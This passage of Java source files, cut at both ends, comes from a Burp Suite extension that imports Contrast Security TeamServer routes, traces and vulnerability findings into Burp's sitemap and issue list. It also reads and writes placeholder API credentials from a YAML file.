| } 28 | 29 | @Override 30 | public void setRequest(byte[] bytes) { 31 | this.request = bytes; 32 | } 33 | 34 | @Override 35 | public byte[] getResponse() { 36 | return response; 37 | } 38 | 39 | @Override 40 | public void setResponse(byte[] bytes) { 41 | this.response = bytes; 42 | } 43 | 44 | @Override 45 | public String getComment() { 46 | return comment; 47 | } 48 | 49 | @Override 50 | public void setComment(String s) { 51 | this.comment = s; 52 | } 53 | 54 | @Override 55 | public String getHighlight() { 56 | return highlight; 57 | } 58 | 59 | @Override 60 | public void setHighlight(String s) { 61 | this.highlight = s; 62 | } 63 | 64 | @Override 65 | public IHttpService getHttpService() { 66 | return service; 67 | } 68 | 69 | @Override 70 | public void setHttpService(IHttpService iHttpService) { 71 | this.service = iHttpService; 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/RequestResponseGenerator.java: -------------------------------------------------------------------------------- 1 | package com.contrast; 2 | 3 | import burp.IHttpRequestResponse; 4 | import com.contrast.model.RouteCoverageObservationResource; 5 | import com.contrastsecurity.models.HttpRequestResponse; 6 | 7 | import java.net.MalformedURLException; 8 | import java.net.URL; 9 | import java.nio.charset.StandardCharsets; 10 | import java.util.Optional; 11 | 12 | /** 13 | * Converts Contrast's Endpoint Objects into the IHttpRequestResponse objects used by Burp's Sitemap. 14 | * 15 | */ 16 | public class RequestResponseGenerator { 17 | 18 | 19 | public String getNormalisedPath(String appContext, String url) { 20 | if(appContext==null||appContext.isEmpty()) { 21 | return url; 22 | } 23 | StringBuilder normalisedURL = new StringBuilder(); 24 | if(!appContext.startsWith("/")) { 25 | appContext = "/"+appContext; 26 | } 27 | if(appContext.endsWith("/")) { 28 | appContext = appContext.substring(0,appContext.length()-1); 29 | } 30 | if(!url.startsWith("/")) { 31 | url = "/"+url; 32 | } 33 | return normalisedURL.append(appContext).append(url).toString(); 34 | } 35 | 36 | /** 37 | * Converts the RouteCoverage data, along with the manually configured HttpService into example 38 | * IHttpRequestResponse objects used by Burp. 39 | * @param resource 40 | * @param service 41 | * @return 42 | */ 43 | public IHttpRequestResponse getReqResForRouteCoverage(RouteCoverageObservationResource resource, HttpService service, String appContext) { 44 | return getReqResForRouteCoverage(resource.getUrl(),resource.getVerb(),service,appContext); 45 | } 46 | 47 | public IHttpRequestResponse getReqResForRouteCoverage(String url, String verb, HttpService service, String appContext) { 48 | String path = getNormalisedPath(appContext,url); 49 | if(verb==null||verb.isEmpty()) { 50 | verb = "GET"; 51 | } 52 | StringBuilder message = new StringBuilder(); 53 | message.append(verb); 54 | message.append(" "); 55 | message.append(path); 56 | message.append(" HTTP/1.1\r\n"); 57 | RequestResponse reqRes = new RequestResponse(); 58 | reqRes.setRequest(message.toString().getBytes(StandardCharsets.UTF_8)); 59 | reqRes.setComment("Found via Route Coverage"); 60 | reqRes.setHttpService(service); 61 | return reqRes; 62 | } 63 | 64 | /** 65 | * Converts Contrast's HttpRequestResponse from trace data to Burps sitemap object 66 | * @param hreqRes 67 | * @param service 68 | * @return 69 | */ 70 | public Optional getReqResForTrace(HttpRequestResponse hreqRes, HttpService service) { 71 | if(hreqRes.getHttpRequest()!=null) { 72 | RequestResponse reqRes = new RequestResponse(); 73 | reqRes.setHttpService(service); 74 | reqRes.setRequest(hreqRes.getHttpRequest().getText().getBytes(StandardCharsets.UTF_8)); 75 | reqRes.setComment("Found via Assess Vulnerability"); 76 | return Optional.of(reqRes); 77 | } else { 78 | return Optional.empty(); 79 | } 80 | 81 | } 82 | 83 | public URL getURLFromHttpReq(IHttpRequestResponse httpRequestResponse) throws MalformedURLException { 84 | StringBuilder req = new StringBuilder(); 85 | req.append(httpRequestResponse.getHttpService().getProtocol()); 86 | req.append("://"); 87 | req.append(httpRequestResponse.getHttpService().getHost()); 88 | req.append(":"); 89 | req.append(httpRequestResponse.getHttpService().getPort()); 90 | String payload = new String(httpRequestResponse.getRequest()); 91 | int startPoint = payload.indexOf(" "); 92 | int endPoint = payload.indexOf("\n"); 93 | String subPayload = payload.substring(startPoint+1,endPoint); 94 | subPayload = subPayload.substring(0,subPayload.lastIndexOf(" HTTP")); 95 | req.append(subPayload); 96 | return new URL(req.toString()); 97 | } 98 | 99 | } 100 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/SortByAppNameComparator.java: -------------------------------------------------------------------------------- 1 | package com.contrast; 2 | 3 | import com.contrastsecurity.models.Application; 4 | 5 | import java.util.Comparator; 6 | 7 | public class SortByAppNameComparator implements Comparator { 8 | 9 | @Override 10 | public int compare(Application o1, Application o2) { 11 | return o1.getName().compareTo(o2.getName()); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/SortByLastSeenComparator.java: -------------------------------------------------------------------------------- 1 | package com.contrast; 2 | 3 | import com.contrastsecurity.models.Application; 4 | 5 | import java.util.Comparator; 6 | 7 | public class SortByLastSeenComparator implements Comparator { 8 | @Override 9 | public int compare(Application o1, Application o2) { 10 | if(o1.getLastSeen() == o2.getLastSeen()) { 11 | return 0; 12 | } else if (o1.getLastSeen()> o2.getLastSeen()) { 13 | return -1; 14 | } else { 15 | return 1; 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/SortType.java: -------------------------------------------------------------------------------- 1 | package com.contrast; 2 | 3 | public enum SortType { 4 | SORT_BY_NAME, 5 | SORT_BY_LAST_SEEN; 6 | } 7 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/TSCreds.java: -------------------------------------------------------------------------------- 1 | package com.contrast; 2 | 3 | import burp.Components; 4 | 5 | import java.util.List; 6 | import java.util.Objects; 7 | import java.util.Optional; 8 | 9 | public class TSCreds { 10 | 11 | 12 | private String url; 13 | private String apiKey; 14 | private String serviceKey; 15 | private String userName; 16 | private String org; 17 | 18 | public TSCreds(){} 19 | 20 | public TSCreds(String url, String apiKey, String serviceKey, String userName, String org) { 21 | this.url = url; 22 | this.apiKey = apiKey; 23 | this.serviceKey = serviceKey; 24 | this.userName = userName; 25 | this.org = org; 26 | } 27 | 28 | public TSCreds(String url, String apiKey, String serviceKey, String userName) { 29 | this.url = url; 30 | this.apiKey = apiKey; 31 | this.serviceKey = serviceKey; 32 | this.userName = userName; 33 | this.org = ""; 34 | } 35 | 36 | public String getUrl() { 37 | return url; 38 | } 39 | 40 | public String getApiKey() { 41 | return apiKey; 42 | } 43 | 44 | public String getServiceKey() { 45 | return serviceKey; 46 | } 47 | 48 | public String getUserName() { 49 | return userName; 50 | } 51 | 52 | public String getOrg() { 53 | return org; 54 | } 55 | 56 | 57 | 58 | public static TSCreds getSelectedCreds(List credsList) { 59 | Optional orgID = getOrgID(); 60 | if(orgID.isPresent()) { 61 | return credsList.stream().filter(tsc-> orgID.get().equals(tsc.getOrg())).findFirst().orElse(credsList.get(0)); 62 | } else { 63 | return credsList.get(0); 64 | } 65 | } 66 | 67 | 68 | private static Optional getOrgID() { 69 | if(Components.getOrgsCombo()!=null&&Components.getOrgsCombo().getSelectedItem()!=null) { 70 | return Optional.of(Components.getOrgsCombo().getSelectedItem().toString()); 71 | } else { 72 | return Optional.empty(); 73 | } 74 | } 75 | 76 | 77 | @Override 78 | public boolean equals(Object o) { 79 | if (this == o) return true; 80 | if (o == null || getClass() != o.getClass()) return false; 81 | TSCreds creds = (TSCreds) o; 82 | return Objects.equals(url, creds.url) && Objects.equals(apiKey, creds.apiKey) && Objects.equals(serviceKey, creds.serviceKey) && Objects.equals(userName, creds.userName) && Objects.equals(org, creds.org); 83 | } 84 | 85 | @Override 86 | public int hashCode() { 87 | return Objects.hash(url, apiKey, serviceKey, userName, org); 88 | } 89 | } 90 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/TSVulnLinkGenerator.java: -------------------------------------------------------------------------------- 1 | package com.contrast; 2 | 3 | public class TSVulnLinkGenerator { 4 | 5 | public String getURL(String tsURL,String orgID,String applicationID,String vulnID) { 6 | return new HTMLSanitiser().sanitiseHTML( 7 | String.format("%s/static/ng/index.html#/%s/applications/%s/vulns/%s",tsURL,orgID,applicationID,vulnID) 8 | ); 9 | } 10 | 11 | public String getURLAHref(String tsURL,String orgID,String applicationID,String vulnID) { 12 | String url = getURL(tsURL,orgID,applicationID,vulnID); 13 | return new HTMLSanitiser().sanitiseHTML( 14 | String.format("Vulnerability Details") 15 | ); 16 | } 17 | 18 | public String getRemediationLink(String tsURL,String orgID,String applicationID,String vulnID) { 19 | String url = getURL(tsURL,orgID,applicationID,vulnID); 20 | return new HTMLSanitiser().sanitiseHTML( 21 | String.format("Remediation Details") 22 | ); 23 | } 24 | 25 | 26 | } 27 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/YamlReader.java: -------------------------------------------------------------------------------- 1 | package com.contrast; 2 | 3 | import org.yaml.snakeyaml.LoaderOptions; 4 | import org.yaml.snakeyaml.Yaml; 5 | import org.yaml.snakeyaml.constructor.SafeConstructor; 6 | 7 | import java.io.File; 8 | import java.io.FileInputStream; 9 | import java.io.IOException; 10 | import java.util.ArrayList; 11 | import java.util.List; 12 | import java.util.Map; 13 | import java.util.Optional; 14 | 15 | /** 16 | * Reads the credentials file, this file contains the credentials required to authenticate with the TeamServer. 17 | * The credentials file has the format. 18 | * api: 19 | * url: https://example.contrastsecurity.com/Contrast 20 | * api_key: aaabbbccc 21 | * service_key: aaabbbcccddd 22 | * user_name: aaabbbccc@OrgName 23 | * 24 | */ 25 | public class YamlReader { 26 | 27 | public List parseContrastYaml(File contrastFile) throws IOException { 28 | Yaml yaml = new Yaml(new SafeConstructor(new LoaderOptions())); 29 | List credList = new ArrayList<>(); 30 | try(FileInputStream fis = new FileInputStream(contrastFile)) { 31 | Map results = yaml.load(fis); 32 | if(results.containsKey("api")&&results.get("api")!=null) { 33 | credList.add(getCredFromMap((Map) results.get("api"))); 34 | for(String resultKey : results.keySet()) { 35 | if(resultKey!=null&&resultKey.startsWith("api")&&!resultKey.equals("api")) { 36 | Map resultObject = (Map) results.get(resultKey); 37 | credList.add(getCredFromMap(resultObject)); 38 | } 39 | } 40 | 41 | 42 | } else { 43 | return credList; 44 | } 45 | } 46 | return credList; 47 | } 48 | 49 | private TSCreds getCredFromMap(Map resultMap) { 50 | return new TSCreds(getResultFromObject(resultMap.get("url")),getResultFromObject(resultMap.get("api_key")), 51 | getResultFromObject(resultMap.get("service_key")),getResultFromObject(resultMap.get("user_name")),getResultFromObject(resultMap.get("org_id"))); 52 | } 53 | 54 | 55 | private String getResultFromObject(Object result) { 56 | if(result == null) { 57 | return ""; 58 | } else { 59 | return result.toString(); 60 | } 61 | } 62 | 63 | 64 | } 65 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/YamlWriter.java: -------------------------------------------------------------------------------- 1 | package com.contrast; 2 | 3 | import org.yaml.snakeyaml.DumperOptions; 4 | import org.yaml.snakeyaml.Yaml; 5 | 6 | import java.io.IOException; 7 | import java.nio.file.Files; 8 | import java.nio.file.Path; 9 | import java.util.HashMap; 10 | import java.util.List; 11 | 12 | public class YamlWriter { 13 | 14 | public void writeYamlFile(List credsList, Path file) throws IOException { 15 | DumperOptions dumperOptions = new DumperOptions(); 16 | dumperOptions.setPrettyFlow(true); 17 | Yaml yaml = new Yaml(dumperOptions); 18 | HashMap topLevel = new HashMap<>(); 19 | int i=0; 20 | for(TSCreds cred : credsList) { 21 | 22 | HashMap data = new HashMap<>(); 23 | data.put("url",cred.getUrl()); 24 | data.put("api_key",cred.getApiKey()); 25 | data.put("service_key",cred.getServiceKey()); 26 | data.put("user_name",cred.getUserName()); 27 | data.put("org_id",cred.getOrg()); 28 | if(i==0) { 29 | topLevel.put("api",data); 30 | } else { 31 | topLevel.put("api"+i,data); 32 | } 33 | 34 | i++; 35 | } 36 | String yamlData = yaml.dump(topLevel); 37 | Files.write(file,yamlData.getBytes()); 38 | 39 | } 40 | 41 | 42 | 43 | 44 | 45 | } 46 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/mapper/ConfidenceMapper.java: -------------------------------------------------------------------------------- 1 | package com.contrast.mapper; 2 | 3 | import java.util.Arrays; 4 | import java.util.List; 5 | 6 | public enum ConfidenceMapper { 7 | 8 | CERTAIN(Arrays.asList("high"),"Certain"), 9 | FIRM(Arrays.asList("medium"),"Firm"), 10 | Tentative(Arrays.asList("low","none"),"Tentative"); 11 | 12 | 13 | private final List contrastConfidence; 14 | private final String burpConfidence; 15 | 16 | ConfidenceMapper(List contrastConfidence, String burpConfidence) { 17 | 18 | this.contrastConfidence = contrastConfidence; 19 | this.burpConfidence = burpConfidence; 20 | } 21 | 22 | 23 | public List getContrastConfidence() { 24 | return contrastConfidence; 25 | } 26 | 27 | public String getBurpConfidence() { 28 | return burpConfidence; 29 | } 30 | 31 | public static ConfidenceMapper getMappingForContrast(String contrastConfidence ) { 32 | for(ConfidenceMapper sev : ConfidenceMapper.values()) { 33 | if(sev.getContrastConfidence().contains(contrastConfidence.toLowerCase())) { 34 | return sev; 35 | } 36 | } 37 | throw new IllegalArgumentException("Unknown Contrast Confidence " + contrastConfidence); 38 | } 39 | 40 | 41 | } 42 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/mapper/IssueTypeMapper.java: -------------------------------------------------------------------------------- 1 | package com.contrast.mapper; 2 | 3 | import com.contrast.Logger; 4 | 5 | import java.util.Arrays; 6 | 7 | public enum IssueTypeMapper { 8 | 9 | 10 | HEADER_INJECTION("header-injection",2097664), 11 | SESSION_REWRITING("session-rewriting",5244672), 12 | SESSION_TIMEOUT("session-timeout",134217728), 13 | CRYPTO_BAD_CIPHERS("crypto-bad-ciphers",134217728), 14 | CRYPTO_BAD_MAC("crypto-bad-mac",134217728), 15 | UNVALIDATED_FORWARD("unvalidated-forward",5243136), 16 | COMMAND_INJECTION("cmd-injection",1048832), 17 | CONTENT_INJECTION("content-injection",134217728), 18 | NOSQL_INJECTION("nosql-injection",1049088), 19 | NOSQL_INJECTION_DYNAMODB("nosql-injection-dynamodb",1049088), 20 | PATH_TRAVERSAL("path-traversal",1049344), 21 | REDOS("redos",5246208), 22 | REFLECTED_XSS("reflected-xss",2097920), 23 | SSRF("ssrf",3146256), 24 | SQL_INJECTION("sql-injection",1049088), 25 | TRUST_BOUNDARY_VIOLATION("trust-boundary-violation",134217728), 26 | UNSAFE_CODE_EXECUTION("unsafe-code-execution",1052672), 27 | UNTRUSTED_DESERIALIZATION("untrusted-deserialization",4196608), 28 | XPATH_INJECTION("xpath-injection",1050112), 29 | AUTO_COMPLETE_MISSING("autocomplete-missing",5244928), 30 | CACHE_CONTROLS_MISSING("cache-controls-missing",7340288), 31 | CSP_MISCONFIGURED("csp-header-insecure",7340288), 32 | CSP_MISSING("csp-header-missing",7340288), 33 | INSECURE_AUTH_PROTOCOL("insecure-auth-protocol",7340288), 34 | PARAMETER_POLLUTION("parameter-pollution",5248000), 35 | HSTS_HEADER_MISSING("parameter-pollution",16777984), 36 | X_CONTENT_TYPE_MISCONFIGURED("xcontenttype-header-missing",8389632), 37 | X_FRAME_OPTIONS_MISCONFIGURED("clickjacking-control-missing",5245344), 38 | X_POWERED_BY_SET("x-powered-by-header",8389632), 39 | X_XSS_PROTECTION_DISABLED("xxssprotection-header-disabled",5245360), 40 | UNKNOWN("UNKNOWN",134217728); 41 | 42 | 43 | private final String contrastType; 44 | private final Integer burpType; 45 | 46 | IssueTypeMapper(String contrastType, Integer burpType) { 47 | this.contrastType = contrastType; 48 | this.burpType = burpType; 49 | } 50 | 51 | 52 | public static IssueTypeMapper getIssueType(String contrastType, Logger logger) { 53 | IssueTypeMapper issueType = Arrays.stream(IssueTypeMapper.values()) 54 | .filter(issue-> issue.contrastType.equals(contrastType)) 55 | .findFirst() 56 | .orElse(IssueTypeMapper.UNKNOWN); 57 | if(IssueTypeMapper.UNKNOWN.equals(issueType)) { 58 | logger.logError("Unknown vulnerability type : " + contrastType); 59 | } 60 | return issueType; 61 | } 62 | 63 | public Integer getBurpType() { 64 | return burpType; 65 | } 66 | 67 | public String getContrastType() { 68 | return contrastType; 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/mapper/SeverityMapper.java: -------------------------------------------------------------------------------- 1 | package com.contrast.mapper; 2 | 3 | import java.util.Arrays; 4 | import java.util.List; 5 | 6 | public enum SeverityMapper { 7 | 8 | 9 | HIGH(Arrays.asList("critical","high"),"High"), 10 | MEDIUM(Arrays.asList("medium"),"Medium"), 11 | LOW(Arrays.asList("low"),"Low"), 12 | INFORMATION(Arrays.asList("note"),"Information"); 13 | 14 | 15 | 16 | 17 | private List contrastSeverity; 18 | private String burpSeverity; 19 | 20 | 21 | SeverityMapper(List contrastSeverity, String burpSeverity) { 22 | this.contrastSeverity = contrastSeverity; 23 | this.burpSeverity = burpSeverity; 24 | } 25 | 26 | 27 | public String getBurpSeverity() { 28 | return burpSeverity; 29 | } 30 | 31 | public List getContrastSeverity() { 32 | return contrastSeverity; 33 | } 34 | 35 | public static SeverityMapper getMappingForContrast(String contrastSeverity ) { 36 | for(SeverityMapper sev : SeverityMapper.values()) { 37 | if(sev.getContrastSeverity().contains(contrastSeverity.toLowerCase())) { 38 | return sev; 39 | } 40 | } 41 | throw new IllegalArgumentException("Unknown Contrast Severity " + contrastSeverity); 42 | } 43 | 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/model/APIKey.java: -------------------------------------------------------------------------------- 1 | package com.contrast.model; 2 | 3 | import java.util.List; 4 | import java.util.Objects; 5 | 6 | public class APIKey { 7 | 8 | private String success; 9 | private List messages; 10 | private String api_key; 11 | 12 | public APIKey() { 13 | } 14 | 15 | public APIKey(String success, List messages, String api_key) { 16 | this.success = success; 17 | this.messages = messages; 18 | this.api_key = api_key; 19 | } 20 | 21 | public String getSuccess() { 22 | return success; 23 | } 24 | 25 | public void setSuccess(String success) { 26 | this.success = success; 27 | } 28 | 29 | public List getMessages() { 30 | return messages; 31 | } 32 | 33 | public void setMessages(List messages) { 34 | this.messages = messages; 35 | } 36 | 37 | public String getApi_key() { 38 | return api_key; 39 | } 40 | 41 | public void setApi_key(String api_key) { 42 | this.api_key = api_key; 43 | } 44 | 45 | @Override 46 | public boolean equals(Object o) { 47 | if (this == o) return true; 48 | if (o == null || getClass() != o.getClass()) return false; 49 | APIKey apiKey = (APIKey) o; 50 | return Objects.equals(success, apiKey.success) && Objects.equals(messages, apiKey.messages) && Objects.equals(api_key, apiKey.api_key); 51 | } 52 | 53 | @Override 54 | public int hashCode() { 55 | return Objects.hash(success, messages, api_key); 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/model/Route.java: -------------------------------------------------------------------------------- 1 | package com.contrast.model; 2 | 3 | import java.util.Objects; 4 | 5 | public class Route { 6 | 7 | private String signature; 8 | private int vulnerabilities; 9 | private String route_hash; 10 | 11 | private Long exercised; 12 | 13 | public Route() { 14 | } 15 | 16 | 17 | public Route(String signature, int vulnerabilities, String route_hash, Long exercised) { 18 | this.signature = signature; 19 | this.vulnerabilities = vulnerabilities; 20 | this.route_hash = route_hash; 21 | this.exercised = exercised; 22 | } 23 | 24 | public String getSignature() { 25 | return signature; 26 | } 27 | 28 | public void setSignature(String signature) { 29 | this.signature = signature; 30 | } 31 | 32 | public int getVulnerabilities() { 33 | return vulnerabilities; 34 | } 35 | 36 | public void setVulnerabilities(int vulnerabilities) { 37 | this.vulnerabilities = vulnerabilities; 38 | } 39 | 40 | public String getRoute_hash() { 41 | return route_hash; 42 | } 43 | 44 | public void setRoute_hash(String route_hash) { 45 | this.route_hash = route_hash; 46 | } 47 | 48 | public Long getExercised() { 49 | return exercised; 50 | } 51 | 52 | public void setExercised(Long exercised) { 53 | this.exercised = exercised; 54 | } 55 | 56 | @Override 57 | public boolean equals(Object o) { 58 | if (this == o) return true; 59 | if (o == null || getClass() != o.getClass()) return false; 60 | Route route = (Route) o; 61 | return Objects.equals(route_hash, route.route_hash); 62 | } 63 | 64 | @Override 65 | public int hashCode() { 66 | return Objects.hash(route_hash); 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/model/RouteCoverage.java: -------------------------------------------------------------------------------- 1 | package com.contrast.model; 2 | 3 | import java.util.List; 4 | 5 | public class RouteCoverage { 6 | 7 | 8 | 9 | 10 | private List observations; 11 | 12 | public RouteCoverage(){} 13 | public RouteCoverage(List observations) { 14 | this.observations = observations; 15 | } 16 | 17 | public List getObservations() { 18 | return observations; 19 | } 20 | 21 | public void setObservations(List observations) { 22 | this.observations = observations; 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/model/RouteCoverageObservationResource.java: -------------------------------------------------------------------------------- 1 | package com.contrast.model; 2 | 3 | public class RouteCoverageObservationResource { 4 | 5 | private String url; 6 | private String verb; 7 | 8 | public RouteCoverageObservationResource(){} 9 | 10 | public RouteCoverageObservationResource(String url, String verb) { 11 | this.url = url; 12 | this.verb = verb; 13 | } 14 | 15 | public String getUrl() { 16 | return url; 17 | } 18 | 19 | public String getVerb() { 20 | return verb; 21 | } 22 | 23 | public void setUrl(String url) { 24 | this.url = url; 25 | } 26 | 27 | public void setVerb(String verb) { 28 | this.verb = verb; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/model/Routes.java: -------------------------------------------------------------------------------- 1 | package com.contrast.model; 2 | 3 | import java.util.List; 4 | 5 | public class Routes { 6 | 7 | private List routes; 8 | 9 | public Routes() { 10 | } 11 | 12 | public Routes(List routes) { 13 | this.routes = routes; 14 | } 15 | 16 | public List getRoutes() { 17 | return routes; 18 | } 19 | 20 | public void setRoutes(List routes) { 21 | this.routes = routes; 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/model/ServiceKey.java: -------------------------------------------------------------------------------- 1 | package com.contrast.model; 2 | 3 | import java.util.List; 4 | import java.util.Objects; 5 | 6 | public class ServiceKey { 7 | 8 | private String success; 9 | private List messages; 10 | private String service_key; 11 | private String user_uid; 12 | 13 | 14 | public ServiceKey() { 15 | } 16 | 17 | public ServiceKey(String success, List messages, String service_key, String user_uid) { 18 | this.success = success; 19 | this.messages = messages; 20 | this.service_key = service_key; 21 | this.user_uid = user_uid; 22 | } 23 | 24 | public String getSuccess() { 25 | return success; 26 | } 27 | 28 | public void setSuccess(String success) { 29 | this.success = success; 30 | } 31 | 32 | public List getMessages() { 33 | return messages; 34 | } 35 | 36 | public void setMessages(List messages) { 37 | this.messages = messages; 38 | } 39 | 40 | public String getService_key() { 41 | return service_key; 42 | } 43 | 44 | public void setService_key(String service_key) { 45 | this.service_key = service_key; 46 | } 47 | 48 | public String getUser_uid() { 49 | return user_uid; 50 | } 51 | 52 | public void setUser_uid(String user_uid) { 53 | this.user_uid = user_uid; 54 | } 55 | 56 | @Override 57 | public boolean equals(Object o) { 58 | if (this == o) return true; 59 | if (o == null || getClass() != o.getClass()) return false; 60 | ServiceKey that = (ServiceKey) o; 61 | return Objects.equals(success, that.success) && Objects.equals(messages, that.messages) && Objects.equals(service_key, that.service_key) && Objects.equals(user_uid, that.user_uid); 62 | } 63 | 64 | @Override 65 | public int hashCode() { 66 | return Objects.hash(success, messages, service_key, user_uid); 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/model/TraceIDDecoractedHttpRequestResponse.java: -------------------------------------------------------------------------------- 1 | package com.contrast.model; 2 | 3 | import com.contrastsecurity.models.HttpRequestResponse; 4 | 5 | public class TraceIDDecoractedHttpRequestResponse { 6 | 7 | 8 | private final String traceID; 9 | private final HttpRequestResponse requestResponse; 10 | 11 | public TraceIDDecoractedHttpRequestResponse(String traceID, HttpRequestResponse requestResponse) { 12 | this.traceID = traceID; 13 | this.requestResponse = requestResponse; 14 | } 15 | 16 | public String getTraceID() { 17 | return traceID; 18 | } 19 | 20 | public HttpRequestResponse getRequestResponse() { 21 | return requestResponse; 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/threads/BrowseVulnCheckThread.java: -------------------------------------------------------------------------------- 1 | package com.contrast.threads; 2 | 3 | import burp.Components; 4 | import burp.CorrelationIDAppender; 5 | import burp.DataModel; 6 | import burp.IBurpExtenderCallbacks; 7 | import burp.IHttpRequestResponse; 8 | import burp.PortResolver; 9 | import burp.ScanIssue; 10 | import com.contrast.HttpService; 11 | import com.contrast.Logger; 12 | import com.contrast.RequestResponseGenerator; 13 | import com.contrast.TSCreds; 14 | import com.contrast.TSReader; 15 | import com.contrast.model.TraceIDDecoractedHttpRequestResponse; 16 | import com.contrastsecurity.models.StoryResponse; 17 | import com.contrastsecurity.models.Trace; 18 | 19 | import java.io.IOException; 20 | import java.util.ArrayList; 21 | import java.util.Arrays; 22 | import java.util.List; 23 | import java.util.Optional; 24 | import java.util.concurrent.ExecutionException; 25 | import java.util.concurrent.Future; 26 | import java.util.stream.Collectors; 27 | 28 | public class BrowseVulnCheckThread extends StoppableThread { 29 | 30 | private final TSReader reader; 31 | private final String orgID; 32 | private final String appID; 33 | private final CorrelationIDAppender idAppender; 34 | private final IBurpExtenderCallbacks callBacks; 35 | private final DataModel dataModel; 36 | private final Logger logger; 37 | 38 | private boolean shouldRun = true; 39 | 40 | private List traces = new ArrayList<>(); 41 | 42 | public BrowseVulnCheckThread(TSReader reader, String orgID, String appID, CorrelationIDAppender idAppender, 43 | IBurpExtenderCallbacks callbacks, DataModel dataModel, Logger logger) { 44 | this.reader = reader; 45 | this.orgID = orgID; 46 | this.appID = appID; 47 | this.idAppender = idAppender; 48 | this.callBacks = callbacks; 49 | this.dataModel = dataModel; 50 | this.logger = logger; 51 | } 52 | 53 | 54 | @Override 55 | public void run() { 56 | boolean firstRun = true; 57 | while(true) { 58 | if(!shouldRun) { 59 | break; 60 | } 61 | try { 62 | if(firstRun) { 63 | traces.addAll(reader.getTraces(orgID,appID,Optional.of(dataModel))); 64 | firstRun = false; 65 | } else { 66 | dataModel.clearTraceTable(); 67 | List newTraces = reader.getTraces(orgID,appID,Optional.of(dataModel)); 68 | List oldTraceIDS = traces.stream().map(Trace::getUuid).collect(Collectors.toList()); 69 | List unseenTraces = newTraces.stream().filter(trace -> !oldTraceIDS.contains(trace.getUuid())).collect(Collectors.toList()); 70 | for(Trace unseenTrace : unseenTraces) { 71 | Future request = reader.getHttpRequest(orgID,unseenTrace.getUuid()); 72 | TraceIDDecoractedHttpRequestResponse requestResponse = request.get(); 73 | 74 | if(requestResponse!=null&&requestResponse.getRequestResponse()!=null&&requestResponse.getRequestResponse().getHttpRequest()!=null&&requestResponse.getRequestResponse().getHttpRequest().getText()!=null) { 75 | Optional header = getCorrelationHeader(requestResponse.getRequestResponse().getHttpRequest().getText()); 76 | if(header.isPresent()) { 77 | doPushVuln(requestResponse,unseenTrace); 78 | } 79 | } 80 | } 81 | traces = newTraces; 82 | } 83 | Thread.sleep(5000l); 84 | } catch (IOException | InterruptedException | ExecutionException e) { 85 | logger.logException("unable to process traces",e); 86 | throw new RuntimeException(e); 87 | } 88 | } 89 | } 90 | 91 | private Optional getCorrelationHeader(String httpText) { 92 | Optional result = Optional.empty(); 93 | if(httpText!=null) { 94 | result = Arrays.stream(httpText.split("\n")).filter(this::isLineCorrelationHeader).findFirst(); 95 | } 96 | return result; 97 | } 98 | 99 | private boolean isLineCorrelationHeader(String line) { 100 | if(line.contains(idAppender.getCorrelationID().toString())&&line.contains(CorrelationIDAppender.NAME)) { 101 | return true; 102 | } else { 103 | return false; 104 | } 105 | } 106 | 107 | 108 | private void doPushVuln(TraceIDDecoractedHttpRequestResponse requestResponse, Trace trace) throws IOException { 109 | RequestResponseGenerator generator = new RequestResponseGenerator(); 110 | TSCreds creds = TSCreds.getSelectedCreds(dataModel.getTsCreds()); 111 | 112 | HttpService service = getHttpService(); 113 | 114 | Optional optional = generator.getReqResForTrace(requestResponse.getRequestResponse(), service); 115 | StoryResponse response = getStoryResponse(orgID, requestResponse.getTraceID(), reader); 116 | if (optional.isPresent()) { 117 | callBacks.addScanIssue(new ScanIssue(optional.get(), Optional.of(trace), logger, response, creds, orgID, appID)); 118 | callBacks.addToSiteMap(optional.get()); 119 | } 120 | } 121 | 122 | 123 | 124 | 125 | 126 | private StoryResponse getStoryResponse(String orgID, String traceID, TSReader reader) throws IOException { 127 | if (!dataModel.getTraceIDStoryMap().containsKey(traceID)) { 128 | reader.getStory(orgID, traceID).ifPresent(response -> dataModel.getTraceIDStoryMap().put(traceID, response)); 129 | } 130 | return dataModel.getTraceIDStoryMap().get(traceID); 131 | } 132 | 133 | private HttpService getHttpService() { 134 | return new HttpService( Components.getHostNameField().getText(), 135 | PortResolver.getPort(),Components.getProtocolCombo().getSelectedItem().toString()); 136 | } 137 | 138 | 139 | 140 | @Override 141 | public void notifyThread() { 142 | shouldRun = false; 143 | } 144 | } 145 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/threads/CredentialsRetrieverThread.java: -------------------------------------------------------------------------------- 1 | package com.contrast.threads; 2 | 3 | import burp.Components; 4 | import burp.DataModel; 5 | import burp.IBurpExtenderCallbacks; 6 | import burp.ICookie; 7 | import burp.Status; 8 | import burp.StatusUpdater; 9 | import com.contrast.Logger; 10 | import com.contrast.TSCreds; 11 | import com.contrast.TSReader; 12 | import com.contrast.model.APIKey; 13 | import com.contrast.model.ServiceKey; 14 | import com.contrastsecurity.models.Organization; 15 | 16 | import java.io.IOException; 17 | import java.net.MalformedURLException; 18 | import java.util.Arrays; 19 | import java.util.List; 20 | import java.util.Optional; 21 | 22 | import static burp.ContrastTab.enableButtons; 23 | import static burp.ContrastTab.refreshOrgIDS; 24 | 25 | public class CredentialsRetrieverThread extends StoppableThread{ 26 | 27 | private final IBurpExtenderCallbacks callbacks; 28 | private final DataModel dataModel; 29 | private final Logger logger; 30 | private final String 